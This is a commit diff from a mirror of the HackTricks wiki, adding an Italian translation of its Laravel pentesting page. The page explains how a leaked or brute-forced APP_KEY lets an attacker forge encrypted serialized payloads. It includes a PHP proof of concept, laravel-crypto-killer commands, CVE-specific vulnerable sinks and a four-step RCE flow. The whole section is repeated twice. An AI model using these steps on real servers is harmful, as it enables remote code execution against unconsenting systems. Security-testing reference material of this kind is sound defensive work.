mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/laravel.md']
This commit is contained in:
parent
015d5b412e
commit
181b73ada1
@ -1,9 +1,94 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Leggi informazioni al riguardo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Interni di crittografia (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`).
|
||||
Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce il segreto di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injecta la stringa prodotta in qualsiasi sink vulnerabile `decrypt()` (parametro di route, cookie, sessione, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizza l'intero processo e aggiunge una comoda modalità **bruteforce**:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modelli vulnerabili nel mondo reale
|
||||
|
||||
| Progetto | Sink vulnerabile | Catena di gadget |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Il flusso di sfruttamento è sempre:
|
||||
1. Ottenere `APP_KEY` (esempi predefiniti, leak di Git, leak di config/.env, o brute-force)
|
||||
2. Generare gadget con **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Consegnare il payload attraverso il parametro/cookie vulnerabile → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## Scoperta di APP_KEY di massa tramite brute-force dei cookie
|
||||
|
||||
Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di ciphertext** che possono essere attaccati offline.
|
||||
|
||||
Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):
|
||||
* Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k)
|
||||
* Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate**
|
||||
* >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati.
|
||||
* Grande riutilizzo delle chiavi – le Top-10 APP_KEY sono valori predefiniti hard-coded forniti con template commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Lo strumento Go privato **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
* [Laravel: analisi della perdita di APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Catene di gadget generiche PHP](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Laravel Tricks
|
||||
## Trucchi di Laravel
|
||||
|
||||
### Modalità di debug
|
||||
|
||||
@ -12,11 +97,11 @@ Ad esempio `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
Questo è solitamente necessario per sfruttare altre vulnerabilità RCE CVE di Laravel.
|
||||
Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel.
|
||||
|
||||
### .env
|
||||
|
||||
Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando alcune tecniche di traversamento del percorso sotto: `/../.env`
|
||||
Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando alcune traversate di percorso sotto: `/../.env`
|
||||
|
||||
Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata).
|
||||
|
||||
@ -98,5 +183,87 @@ Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](http
|
||||
|
||||
Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`).
|
||||
Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce il segreto di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injecta la stringa prodotta in qualsiasi sink vulnerabile `decrypt()` (parametro di route, cookie, sessione, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizza l'intero processo e aggiunge una comoda modalità **bruteforce**:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modelli vulnerabili nel mondo reale
|
||||
|
||||
| Progetto | Sink vulnerabile | Catena di gadget |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Il flusso di sfruttamento è sempre:
|
||||
1. Ottenere `APP_KEY` (esempi predefiniti, leak di Git, leak di config/.env o brute-force)
|
||||
2. Generare gadget con **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Consegnare il payload attraverso il parametro/cookie vulnerabile → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## Scoperta di massa di APP_KEY tramite brute-force dei cookie
|
||||
|
||||
Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di ciphertext** che possono essere attaccati offline.
|
||||
|
||||
Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):
|
||||
* Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k)
|
||||
* Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate**
|
||||
* >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati.
|
||||
* Grande riutilizzo delle chiavi – le Top-10 APP_KEY sono valori predefiniti hard-coded forniti con template commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
Lo strumento Go privato **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo il cracking dell'intero dataset a <2 minuti.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
* [Laravel: analisi della perdita di APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Catene di gadget generiche PHP](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user